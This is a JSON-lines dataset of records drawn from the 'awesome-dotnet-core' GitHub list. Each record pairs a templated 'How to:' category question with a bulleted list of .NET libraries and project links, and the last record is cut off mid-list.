{"id": "gh_901bfc48f82c", "question": "How to: Compilers, Transpilers and Languages", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [Fable](https://github.com/fable-compiler/Fable) - F# to JavaScript Compiler.\n* [fparsec](https://github.com/stephan-tolksdorf/fparsec) - A parser combinatory library for F# and C#.\n* [IL2C](https://github.com/kekyo/IL2C) - A translator for ECMA-335 CIL/MSIL to C language.\n* [Mond](https://github.com/Rohansi/Mond) - A dynamically typed scripting language written in C# with a REPL, debugger, and simple embedding API.\n* [peachpie](https://github.com/peachpiecompiler/peachpie) - Open-source PHP compiler to .NET.\n* [Pidgin](https://github.com/benjamin-hodgson/Pidgin) - A lightweight, fast and flexible parsing library for C#, developed at Stack Overflow.\n* [roslyn](https://github.com/dotnet/roslyn) - The .NET Compiler Platform (\"Roslyn\") provides open-source C# and Visual Basic compilers with rich code analysis APIs.\n* [Sprache](https://github.com/sprache/Sprache) - Tiny C# Monadic Parser Framework.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897489"}
{"id": "gh_4987e7d33621", "question": "How to: Cryptography", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [BCrypt.Net](https://github.com/BcryptNet/bcrypt.net) - Bringing updates to the original bcrypt package.\n* [BCrypt.NET-Core](https://github.com/neoKushan/BCrypt.Net-Core) - .NET Core port of BCrypt.NET used to store passwords securely.\n* [BouncyCastle PCL](https://github.com/onovotny/BouncyCastle-PCL) - The Bouncy Castle Crypto package is a C# implementation of cryptographic algorithms and protocols.\n* [multiformats](https://github.com/multiformats/cs-multihash) - A general purpose hashing library, but a library to encode/decode Multihashes which is a \"container\" describing what hash algorithm the digest is calculated with.\n* [nsec](https://github.com/ektrah/nsec) - NSec is a new cryptographic library for .NET Core based on libsodium.\n* [SecurityDriven.Inferno](github.com/sdrapkin/SecurityDriven.Inferno) - Hig level crypto library used .Net primitives, has been professionally audited.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897496"}
{"id": "gh_442d1594a221", "question": "How to: Database Drivers", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [cassandra-csharp-driver](https://github.com/datastax/csharp-driver) - DataStax C# Driver for Apache Cassandra.\n* [confluent-kafka-dotnet](https://github.com/confluentinc/confluent-kafka-dotnet) - Confluent's Apache Kafka .NET client.\n* [couchbase-lite-net](https://github.com/couchbase/couchbase-lite-net) - A lightweight, document-oriented (NoSQL), syncable database engine for .NET.\n* [MongoDB.Driver](https://github.com/mongodb/mongo-csharp-driver) - .NET Driver for MongoDB.\n* [MongoDB.Entities](https://github.com/dj-nitehawk/MongoDB.Entities) - A data access library for MongoDB with an elegant api, LINQ support and built-in entity relationship management\n* MySQL\n  * [mysql-connector-net](https://github.com/mysql/mysql-connector-net/tree/8.0) - Connector/Net is a fully-managed ADO.NET driver for MySQL.\n  * [MySqlConnector](https://github.com/mysql-net/MySqlConnector) - Async MySQL Connector for .NET and .NET Core.\n* Neo4j\n  * [neo4j-dotnet-driver](https://github.com/neo4j/neo4j-dotnet-driver) - Neo4j Bolt driver for .NET.\n  * [Neo4jClient](https://github.com/Readify/Neo4jClient) - .NET client binding for Neo4j.\n* [npgsql](https://github.com/npgsql/npgsql) - .NET data provider for PostgreSQL. It allows any program developed for .NET framework to access a PostgreSQL database server. It is implemented in 100% C# code. PostgreSQL versions since 9.1 are officially supported, others may work. [http://www.npgsql.org](http://www.npgsql.org)\n* [ravendb](https://github.com/ayende/ravendb/tree/v4.0) - Linq enabled document database for .NET.\n* [RethinkDb.Driver](https://github.com/bchavez/RethinkDb.Driver) - C#/.NET RethinkDB driver with 100% ReQL API coverage.\n* [progaudi.tarantool](https://github.com/progaudi/progaudi.tarantool) - .NET client for Tarantool NoSql database.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897505"}
{"id": "gh_f5237fb4c8d2", "question": "How to: Database Tools and Utilities", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [DbUp](https://github.com/DbUp/DbUp) - .NET library that helps you to deploy changes to SQL Server databases. It tracks which SQL scripts have been run already, and runs the change scripts that are needed to get your database up to date.\n* [Evolve](https://github.com/lecaillon/Evolve) - Simple database migration tool that uses plain SQL scripts. Inspired by Flyway.\n* [EFCorePowerTools](https://github.com/ErikEJ/EFCorePowerTools) - Entity Framework Core Power Tools - reverse engineering, migrations and model visualization for EF Core.\n* [fluentmigrator](https://github.com/fluentmigrator/fluentmigrator) - Migration framework for .NET much like Ruby on Rails Migrations.\n* [monitor-table-change-with-sqltabledependency](https://github.com/christiandelbianco/monitor-table-change-with-sqltabledependency) - Get SQL Server notification on record table change.\n* [NReco.PivotData](https://www.nuget.org/packages/NReco.PivotData) - In-memory data cube with OLAP operations and PivotTable data model.\n* [roundhouse](https://github.com/chucknorris/roundhouse) - Database Migration Utility for .NET using sql files and versioning based on source control.\n* [SapphireDb](https://github.com/SapphireDb/SapphireDb) - Server implementation of SapphireDb, a framework for easy development of applications with realtime data synchronization and a self hosted alternative to firebase realtime database/firestore for asp.net core and ef core. Check out the documentation for more details: [Documentation](https://sapphire-db.com)\n* [SharpRepository](https://github.com/SharpRepository/SharpRepository) - SharpRepository is a generic repository written in C# which includes support for various relational, document and object databases including Entity Framework, RavenDB, MongoDb and Db4o. SharpRepository includes Xml and InMemory repository implementations as well.\n* [TrackableEntities.Core](https://github.com/TrackableEntities/TrackableEntities.Core) - Change-tracking across service boundaries with .NET Core.\n* [Mongo.Migration](https://github.com/SRoddis/Mongo.Migration) - Mongo.Migration is designed for the [MongoDB C# Driver]( https://github.com/mongodb/mongo-csharp-driver) to migrate your documents easily and on-the-fly. No more downtime for schema-migrations. Just write small and simple migrations. [Link]( https://github.com/SRoddis/Mongo.Migration)\n* [EntityFrameworkCore.DataEncryption](https://github.com/Eastrall/EntityFrameworkCore.DataEncryption) - A plugin for Microsoft.EntityFrameworkCore to add support of encrypted fields using built-in or custom encryption providers.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897515"}
{"id": "gh_63b8b29a5ef6", "question": "How to: Date and Time", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [Exceptionless.DateTimeExtensions](https://github.com/exceptionless/Exceptionless.DateTimeExtensions) - DateTimeRange, Business Day and various DateTime, DateTimeOffset, TimeSpan extension methods.\n* [FluentDateTime](https://github.com/FluentDateTime/FluentDateTime) - Allows you to write cleaner DateTime expressions and operation. Partially inspired by Ruby DateTime Extensions.\n* [nodatime](https://github.com/nodatime/nodatime) - Better date and time API for .NET [http://nodatime.org](http://nodatime.org).", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897521"}
{"id": "gh_019cb388c212", "question": "How to: Distributed Computing", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [AspNetCore.Diagnostics.HealthChecks](https://github.com/xabaril/AspNetCore.Diagnostics.HealthChecks) - Enterprise HealthChecks for ASP.NET Core Diagnostics Package\n  - [BeatPulse](https://github.com/Xabaril/BeatPulse) - Enable load balancers to monitor the status of deployed Web applications\n* [Foundatio](https://github.com/exceptionless/Foundatio) - Pluggable foundation blocks for building distributed apps\n* [jasper](https://github.com/JasperFx/jasper) - Next generation application development framework for .NET\n* [Rafty](https://github.com/ThreeMammals/Rafty) - RAFT consensus in .NET Core\n* [Obvs](https://github.com/christopherread/Obvs) - An observable microservice bus .NET library that wraps the underlying transport in simple Rx based interfaces\n* [Ocelot](https://github.com/ThreeMammals/Ocelot) - API Gateway created using .NET Core\n* [OpenTracing](https://github.com/opentracing/opentracing-csharp) - Vendor-neutral APIs and instrumentation for distributed tracing\n* [Polly](https://github.com/App-vNext/Polly) - .NET 3.5 / 4.0 / 4.5 / PCL library that allows developers to express transient exception and fault handling policies such as Retry, Retry Forever, Wait and Retry or Circuit Breaker in a fluent manner\n* [ProxyKit](https://github.com/damianh/ProxyKit) - Toolkit to create code-first HTTP reverse proxies on ASP.NET Core", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897529"}
{"id": "gh_b62417b2d6a7", "question": "How to: E-Commerce and Payments", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [nopCommerce](https://github.com/nopSolutions/nopCommerce) - Free open-source ecommerce shopping cart (ASP.NET MVC / ASP.NET Core MVC ) with a vast community and a market place full of new features, themes and plugins.\n* [GrandNode](https://github.com/grandnode/grandnode) - Multi-platform, free, open source ecommerce shopping cart based on ASP.NET Core 2.1 and MongoDB derived from [nopCommerce](https://github.com/nopSolutions/nopCommerce).\n* [PayPal](https://github.com/paypal/PayPal-NET-SDK) - .NET SDK for PayPal's RESTful APIs.\n* [SimplCommerce](https://github.com/simplcommerce/SimplCommerce) - Super simple ecommerce system built on .NET Core.\n* [Stripe](https://github.com/ServiceStack/Stripe) - Typed .NET clients for stripe.com REST APIs.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897536"}
{"id": "gh_7e6ffe6f0312", "question": "How to: Exceptions", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [Demystifier](https://github.com/benaadams/Ben.Demystifier) - High performance understanding for stack traces (Make error logs more productive).\n* [Exceptionless](https://github.com/exceptionless/Exceptionless.Net) - Exceptionless .NET Client\n* [GlobalExceptionHandlerDotNet](https://github.com/JosephWoodward/GlobalExceptionHandlerDotNet) - GlobalExceptionHandlerDotNet allows you to configure exception handling as a convention with your ASP.NET Core application pipeline as opposed to explicitly handling them within each controller action.\n* [Sentry](https://github.com/getsentry/sentry-dotnet) - .NET SDK for Sentry, an Open-source error tracking that helps developers monitor and fix crashes in real time.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897542"}
{"id": "gh_62e6912a50e1", "question": "How to: Functional Programming", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [CSharpFunctionalExtensions](https://github.com/vkhorikov/CSharpFunctionalExtensions) - Functional Extensions for C#.\n* [DynamicData](https://github.com/RolandPheasant/DynamicData) - Reactive collections based on Rx.NET.\n* [echo-process](https://github.com/louthy/echo-process) - Actor library for C# with additional modules that support persistence to Redis, as well as JS integration.\n* [FsCheck](https://github.com/fscheck/FsCheck) - Random Testing for .NET.\n* [Giraffe](https://github.com/dustinmoris/Giraffe) - A native functional ASP.NET Core web framework for F# developers.\n* [language-ext](https://github.com/louthy/language-ext) - C# functional language extensions and 'Erlang like' concurrency system.\n* [LaYumba.Functional](https://github.com/la-yumba/functional-csharp-code) - Utility library for programming functionally in C#.\n* [NetMQ.ReactiveExtensions](https://github.com/NetMQ/NetMQ.ReactiveExtensions) - Effortlessly send messages anywhere on the network using Reactive Extensions (RX). Transport protocol is ZeroMQ.\n* [Optional](https://github.com/nlkl/Optional) - A robust option type for C#.\n* [reactive-streams-dotnet](https://github.com/reactive-streams/reactive-streams-dotnet) - [Reactive Streams](http://www.reactive-streams.org/) for .NET.\n* [ReactiveUI](https://github.com/reactiveui/ReactiveUI) - A MVVM framework that integrates with the Reactive Extensions for .NET to create elegant, testable User Interfaces that run on any mobile or desktop platform.\n* [Rx.NET](https://github.com/Reactive-Extensions/Rx.NET) - The [Reactive Extensions](http://reactivex.io) for .NET.\n* [Qactive](https://github.com/RxDave/Qactive) - Reactive queryable observable framework. `4.x.x or above`\n* [sodium](https://github.com/SodiumFRP/sodium/tree/master/) - Functional Reactive Programming (FRP) Library. `4.x.x or above`", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897551"}
{"id": "gh_137714d630c3", "question": "How to: Internationalization", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [Localization](https://github.com/aspnet/Localization) - Localization abstractions and implementations for ASP.NET Core applications.\n* [NetCoreStack.Localization](https://github.com/NetCoreStack/Localization) - Database Resource Localization for .NET Core with Entity Framework and In Memory Cache\n* [Westwind.Globalization](https://github.com/RickStrahl/Westwind.Globalization) - Database driven resource localization for .NET applications.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897560"}
{"id": "gh_64e7cf65f794", "question": "How to: Machine Learning and Data Science", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [Accord](https://github.com/accord-net/framework) - Machine learning, computer vision, statistics and general scientific computing for .NET.\n* [Catalyst](https://github.com/curiosity-ai/catalyst) Cross-platform Natural Language Processing (NLP) library inspired by spaCy, with pre-trained models, out-of-the box support for training word and document embeddings, and flexible entity recognition models. Part of the [SciSharp Stack](https://scisharp.github.io/SciSharp/)\n* [ML.NET](https://github.com/dotnet/machinelearning) - Cross-platform open-source machine learning framework which makes machine learning accessible to .NET developers [http://dot.net/ml](http://dot.net/ml).\n* [Spreads](https://github.com/Spreads/Spreads/) - Series and Panels for Real-time and Exploratory Analysis of Data Streams.\n* [TensorFlowSharp](https://github.com/migueldeicaza/TensorFlowSharp) - TensorFlow API for .NET languages.\n* [WaveFunctionCollapse](https://github.com/mxgmn/WaveFunctionCollapse) - itmap & tilemap generation from a single example with the help of ideas from quantum mechanics.\n* [SiaNet](https://github.com/SciSharp/SiaNet) - A C# deep learning library, human friendly, CUDA/OpenCL supported, well structured, easy to extend", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897574"}
{"id": "gh_1b74504d07ff", "question": "How to: Mathematics", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [AutoDiff](https://github.com/alexshtf/autodiff) - A library that provides fast, accurate and automatic differentiation (computes derivative / gradient) of mathematical functions.\n* [UnitConversion](https://github.com/Stratajet/UnitConversion) - Expansible Unit Conversion Library for .NET Core and .NET Framework.\n* [UnitsNet](https://github.com/angularsen/UnitsNet) - Units.NET gives you all the common units of measurement and the conversions between them.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897581"}
{"id": "gh_094ff3918c6a", "question": "How to: Networking", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [AspNetCore.Proxy](https://github.com/twitchax/AspNetCore.Proxy) - ASP.NET Core Proxies made easy.\n* [CurlThin](https://github.com/stil/CurlThin) - Lightweight cURL binding library for C# with support for multiple simultaneous transfers through curl_multi interface.\n* [NETStandard.HttpListener](https://github.com/StefH/NETStandard.HttpListener) - HttpListener for .NET Core (NETStandard).\n* [Networker](https://github.com/MarkioE/Networker) - A simple to use TCP and UDP networking library for .NET, designed to be flexible, scalable and FAST.\n* [SharpPcap](https://github.com/chmorgan/sharppcap) - Fully managed, cross platform (Windows, Mac, Linux) .NET library for capturing packets from live and file based devices.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897595"}
{"id": "gh_afe02bd7dad5", "question": "How to: Operating System", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [CosmosOS](https://github.com/CosmosOS/Cosmos) - Cosmos is an operating system \"construction kit\". Build your own OS using managed languages such as C#, VB.NET, and more!", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897601"}
{"id": "gh_f70a50d5e956", "question": "How to: Query Builders", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [SqlKata](https://github.com/sqlkata/querybuilder) - Elegant Sql Query Builder, that supports complex queries, joins, sub queries, nested where conditions, vendor engine targets and more", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897610"}
{"id": "gh_8ba54eab3ea3", "question": "How to: Scheduler and Job", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [Chroniton.NetCore](https://github.com/leosperry/Chroniton) - Lightweight robust library for running tasks(jobs) on schedules.\n* [Coravel](https://github.com/jamesmh/coravel) - .Net Core meets Laravel: Scheduling, Queuing, etc.\n* [FluentScheduler](https://github.com/fluentscheduler/FluentScheduler) - Automated job scheduler with fluent interface.\n* [Gofer.NET](https://github.com/brthor/Gofer.NET) - Easy C# API for Distributed Background Tasks/Jobs for .NET Core. Inspired by celery for python.\n* [HangfireIO](https://github.com/HangfireIO/Hangfire) - Easy way to perform fire-and-forget, delayed and recurring tasks inside ASP.NET apps [http://hangfire.io](http://hangfire.io).\n* [LiquidState](https://github.com/prasannavl/LiquidState) - Efficient asynchronous and synchronous state machines for .NET.\n* [NCrontab](https://github.com/atifaziz/NCrontab) - Crontab for .NET.\n* [quartznet](https://github.com/quartznet/quartznet/) - Quartz Enterprise Scheduler .NET [http://www.quartz-scheduler.net](http://www.quartz-scheduler.net).\n* [stateless](https://github.com/dotnet-state-machine/stateless) - Simple library for creating state machines in C# code.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897628"}
{"id": "gh_a28971624cd4", "question": "How to: Serialization", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [BinarySerializer](https://github.com/jefffhaynes/BinarySerializer) - Serialization for custom packet and protocol formats, supports bit-twiddling.\n* [bond](https://github.com/Microsoft/bond) - Cross-platform framework for working with schematized data. It supports cross-language de/serialization and powerful generic mechanisms for efficiently manipulating data. Bond is broadly used at Microsoft in high scale services.\n* [Channels](https://github.com/davidfowl/Channels) - Push based .NET Streams.\n* [CsvHelper](https://github.com/JoshClose/CsvHelper) - Library to help reading and writing CSV files.\n* [Edi.Net](https://github.com/indice-co/EDI.Net) - EDI Serializer/Deserializer. Supports EDIFact, X12 and TRADACOMS format.\n* [ExtendedXmlSerializer](https://github.com/wojtpl2/ExtendedXmlSerializer) - Extended Xml Serializer for .NET.\n* [Jil](https://github.com/kevin-montrose/Jil) - Fast .NET JSON (De)Serializer, Built On Sigil.\n* MessagePack \n  * [msgpack-cli](https://github.com/msgpack/msgpack-cli) - MessagePack implementation for Common Language Infrastructure / [msgpack.org](http://msgpack.org).\n  * [MessagePack-CSharp](https://github.com/neuecc/MessagePack-CSharp) - Extremely Fast MessagePack Serializer for C#(.NET, .NET Core, Unity, Xamarin).\n* [Newtonsoft.Json](https://github.com/JamesNK/Newtonsoft.Json) - Popular high-performance JSON framework for .NET.\n* [protobuf-net](https://github.com/mgravell/protobuf-net/) - Protocol Buffers library for idiomatic .NET.\n* [Schema.NET](https://github.com/RehanSaeed/Schema.NET) - Schema.org objects turned into strongly typed C# POCO classes for use in .NET. All classes can be serialized into JSON/JSON-LD and XML, typically used to represent structured data in the head section of html page.\n* [ServiceStack.Text](https://github.com/ServiceStack/ServiceStack.Text) - JSON, JSV and CSV Text Serializers.\n* [TinyCsvParser](https://github.com/bytefish/TinyCsvParser) - Easy to use, easy to extend and high-performance library for CSV parsing with .NET.\n* [Wire](https://github.com/rogeralsing/Wire) - Binary serializer for POCO objects.\n* [YamlDotNet](https://github.com/aaubry/YamlDotNet) - .NET\n* [ZeroFormatter](https://github.com/neuecc/ZeroFormatter) - Fast binary (de)serializer for .NET.\n* [Utf8Json](https://github.com/neuecc/Utf8Json) - Definitely Fastest and Zero Allocation JSON Serializer for C#(NET, .NET Core, Unity, Xamarin).\n* [YAXLib](https://github.com/sinairv/YAXLib) - XML Serialization Library for the .NET Framework and .NET Core. Extremely flexible and powerful.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897642"}
{"id": "gh_e41c81bfebe9", "question": "How to: Template Engine", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [dotliquid](https://github.com/dotliquid/dotliquid) - .NET Port of Tobias Lütke's Liquid template language.\n* [fluid](https://github.com/sebastienros/fluid) - Open-source .NET template engine that is as close as possible to the Liquid template language.\n* [Portable.Xaml](https://github.com/cwensley/Portable.Xaml) - Portable .NET library for reading/writing xaml files.\n* [Razor](https://github.com/aspnet/Razor) - Parser and code generator for CSHTML files used in view pages for MVC web apps.\n* [RazorLight](https://github.com/toddams/RazorLight) - Template engine based on Microsoft's Razor parsing engine for .NET Core.\n* [Scriban](https://github.com/lunet-io/scriban) - A fast, powerful, safe and lightweight text templating language and engine for .NET.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897650"}
{"id": "gh_08182ee1c2af", "question": "How to: Web Framework", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* WebAssembly\n  * [Blazor](https://github.com/SteveSanderson/Blazor) - UI framework running .NET in the browser via WebAssembly.\n    * [Awesome Blazor](https://github.com/AdrienTorris/awesome-blazor) - Collection of awesome resources (samples, components, articles, videos and others) about Blazor.\n    * [Blazor Redux](https://github.com/torhovland/blazor-redux) - Connecting a Redux state store with Blazor.\n  * [Ooui](https://github.com/praeclarum/Ooui) - Small cross-platform UI library that brings the simplicity of native UI development to the web.\n* [ReactJS.NET](https://github.com/reactjs/React.NET) - .NET library for JSX compilation and server-side rendering of React components.\n* [redux.NET](https://github.com/GuillaumeSalles/redux.NET) - Predictable state container for .NET apps. Inspired by [https://github.com/reactjs/redux](https://github.com/reactjs/redux).", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 21029, "answer_score": 10, "has_code": true, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897666"}
{"id": "gh_df5fe594d488", "question": "How to: Windows Service", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [dotnet-win32-service](https://github.com/dasMulli/dotnet-win32-service) - Set up and run as Windows Service directly from .NET Core.\n* [Topshelf](https://github.com/Topshelf/Topshelf) - Easy service hosting framework for building Windows services using .NET.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897679"}
{"id": "gh_1286d7444490", "question": "How to: Starter Kits", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [Arch](https://github.com/Arch) - The collection of .NET Core libraries that are created by software architects who embrace all the new stuff in .NET Core.\n  * [AutoHistory](https://github.com/Arch/AutoHistory) - A plugin for Microsoft.EntityFrameworkCore to support automatically recording data changes history.\n* [AspNetCore-Angular2-Universal](https://github.com/MarkPieszak/aspnetcore-angular2-universal) - Cross-platform - w/ server-side rendering for SEO, Bootstrap, i18n internationalization (ngx-translate), Webpack, TypeScript, unit testing w/ Karma, WebAPI REST setup, SignalR, Swagger docs, and more!\n* [ASP.NET Core Starter Kit](https://github.com/kriasoft/aspnet-starter-kit) - Opinionated boilerplate for web development based on .NET Core, Kestrel, GraphQL on the backend and Babel, Webpack, React and Redux on the frontend. This boilerplate comes in both C# and F# flavors.\n* [aspnetcore-spa generator](https://github.com/aspnet/JavaScriptServices) - Yeoman generator to build a brand-new ASP.NET Core single page application that uses Angular 2 / React / React With Redux / Knockout / Aurelia on the client.\n* [ASP.Net Core Vue Starter](https://github.com/MarkPieszak/aspnetcore-Vue-starter) - Asp.NETCore 2.0 Vue 2 (ES6) SPA Starter kit, contains routing, Vuex, and more!.\n* [bitwarden-core](https://github.com/bitwarden/core) - The core infrastructure backend (API, database, etc) [https://bitwarden.com](https://bitwarden.com).\n* [dotNetify](https://github.com/dsuryd/dotNetify) - Simple, lightweight, yet powerful way to build real-time HTML5/C# .NET web apps.\n* [generator-aspnet](https://github.com/OmniSharp/generator-aspnet) - yo generator for ASP.NET Core.\n* [Nucleus](https://github.com/alirizaadiyahsi/Nucleus) - Vue startup application template that uses ASP.NET Core API layered architecture at the back-end and JWT based authentication\n* [react-aspnet-boilerplate](https://github.com/pauldotknopf/react-aspnet-boilerplate) - Starting point for building isomorphic React applications with ASP.NET Core 1, leveraging existing techniques.\n* [saaskit](https://github.com/saaskit/saaskit) - Developer toolkit for building SaaS applications.\n* [serverlessDotNetStarter](https://github.com/pharindoko/serverlessDotNetStarter) starter kit for development and deployment of lambda functions in the AWS cloud based on serverless framework.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897689"}
{"id": "gh_8e431feb5f58", "question": "How to: Sample Projects", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* Microservices & Service Mesh\n  * [clean-architecture-dotnet](https://github.com/thangchung/clean-architecture-dotnet) - Apply Minimal Clean Architecture with DDD-lite, CQRS-lite, and just enough Cloud-native patterns on eCommerce sample business domain\n  * [coolstore-microservices ](https://github.com/vietnam-devs/coolstore-microservices) - A Kubernetes-based polyglot microservices application with Istio service mesh\n  * [distributed-playground](https://github.com/jvandevelde/distributed-playground) - Distributed service playground with Vagrant, Consul, Docker & ASP.NET Core.\n  * [DNC-DShop](https://github.com/devmentors) - Distributed .NET Core project and free course. (DDD, CQRS, RabbitMQ, MongoDB, Redis, Monitoring, Logging, CI, CD)\n  * [dotnetcore-microservices-poc](https://github.com/asc-lab/dotnetcore-microservices-poc) -  simplified insurance sales system made in a microservices architecture using .NET Core (EF Core, MediatR, Marten, Eureka, Ocelot, RabbitMQ, Polly, ElasticSearch, Dapper) with blog post series.\n  * [eShop](https://github.com/dotnet/eShop) - A reference .NET application implementing an eCommerce site.\n  * [InMemoryCQRSReplication](https://github.com/Aaronontheweb/InMemoryCQRSReplication) - Akka.NET Reference Architecture - CQRS + Sharding + In-Memory Replication\n  * [magazine-website](https://github.com/thangchung/magazine-website) - Magazine website (using .NET Core, ASP.NET Core, EF Core) with DDD, CQRS, microservices, asynchronous programming applied.\n  * [microservices-in-dotnetcore](https://github.com/horsdal/microservices-in-dotnet-book-second-edition) - The code sample from the second edition of [Microservices in .NET Core](https://www.manning.com/books/microservices-in-net-core-second-edition).\n  * [Practical.CleanArchitecture](https://github.com/phongnguyend/Practical.CleanArchitecture) - Full-stack .Net 8 Clean Architecture (Microservices, Modular Monolith, Monolith), Blazor, Angular 18, React 18, Vue 3, BFF with YARP, Domain-Driven Design, CQRS, SOLID, Asp.Net Core Identity Custom Storage, OpenID Connect, Entity Framework Core, OpenTelemetry, SignalR, Hosted Services, Health Checks, Rate Limiting, Cloud Services (Azure, AWS, GCP).\n  * [practical-dapr](https://github.com/thangchung/practical-dapr) - Full-stack .NET microservices build on Dapr and Tye.\n  * [ReactiveTraderCloud](https://github.com/AdaptiveConsulting/ReactiveTraderCloud) - Real-time trading platform demo showcasing reactive programming principles applied across the full application stack.   \n* Monoliths\n  * [AlbumViewerVNext](https://github.com/RickStrahl/AlbumViewerVNext) - West Wind Album Viewer ASP.NET 5 Sample.\n  * [allReady](https://github.com/HTBox/allReady) - Open-source solution focused on increasing awareness, efficiency and impact of preparedness campaigns as they are delivered by humanitarian and disaster response organizations in local communities. [http://www.htbox.org/projects/allready](http://www.htbox.org/projects/allready)\n  * [AspNet5GeoElasticsearch](https://github.com/damienbod/AspNet5GeoElasticsearch) - ASP.NET Core MVC Geo Elasticsearch Swashbuckle Swagger.\n  * 